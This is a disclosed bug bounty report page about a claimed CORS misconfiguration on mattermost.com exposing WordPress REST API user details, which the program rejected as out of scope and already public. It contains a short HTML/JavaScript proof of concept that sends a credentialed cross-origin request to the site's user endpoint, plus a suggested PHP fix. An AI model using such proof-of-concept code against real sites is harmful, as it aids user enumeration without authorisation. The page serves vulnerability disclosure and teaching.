[mattermost.com] CORS Misconfiguration leakage of admin users
The WordPress REST API user endpoint on the company website returned user details such as id, name and login name, and the reporter claimed a CORS misconfiguration let a cross-origin page read that data with credentials. The program rejected it, saying the site is out of scope and the exposed information is already public.
- Disclosed after 18 days
Summary by the program
The issue was reported on our website mattermost.com which is clearly defined as out of scope in our program's policy. Moreover there are no account specific sensitive information revealed here. Whatever information specified is already public and hence we don't see any security impact here.
The report
Sumarry : CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access. It's possible to get information about the users registered (such as: id, name, login name, etc.) without authentication in Wordpress via API on The vulnerability is registered as #772744 #356047 #591302 #138244 #329791
Platform(s) Affected: [website] https://mattermost.com/wp-json/wp/v2/users/
Proof On Concept:
<html>
<body>
<h2>CORS PoC</h2>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhr.open("GET",
"https://mattermost.com/wp-json/wp/v2/users/", true);
xhr.withCredentials = true;
xhr.send();
}
</script>
</body>
</html>
- Save as
.htmland Open and click Exploit on browsers
Fix Use this code will hide the users list and give 404 as the result, while rest of the api calls keep running as they were.
add_filter( 'rest_endpoints', function( $endpoints ){
if ( isset( $endpoints['/wp/v2/users'] ) ) {
unset( $endpoints['/wp/v2/users'] );
}
if ( isset( $endpoints['/wp/v2/users/(?P<id>[\d]+)'] ) ) {
unset( $endpoints['/wp/v2/users/(?P<id>[\d]+)'] );
}
return $endpoints;
});
Impact
Information disclosure in /wp-json/wp/v2/users/
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the WordPress REST API user endpoint was left enabled, exposing author details, and the reporter believed the CORS policy trusted arbitrary origins.
Impact
The reporter claimed information disclosure of registered user details, but the program stated the data is already public and no account-specific sensitive information was revealed.
What the attacker needed
Browser with JavaScript enabled
The fix
The reporter suggested removing the user endpoints from the REST API so they return 404 while other API calls keep working; the program did not confirm any fix.
How it was found
- Save the proof-of-concept page as an HTML file and open it in a browser.
- Click the Exploit button to send a cross-origin request to the user endpoint with credentials.
- Read the returned user list in the alert.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
WordPress sites often expose a public API endpoint that lists the people who write posts, including their usernames. The reporter thought a browser rule called CORS was set up wrongly, which would let another website read that list on a logged-in visitor's behalf. The program replied that the site was outside its scope and that the listed details were already public anyway.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.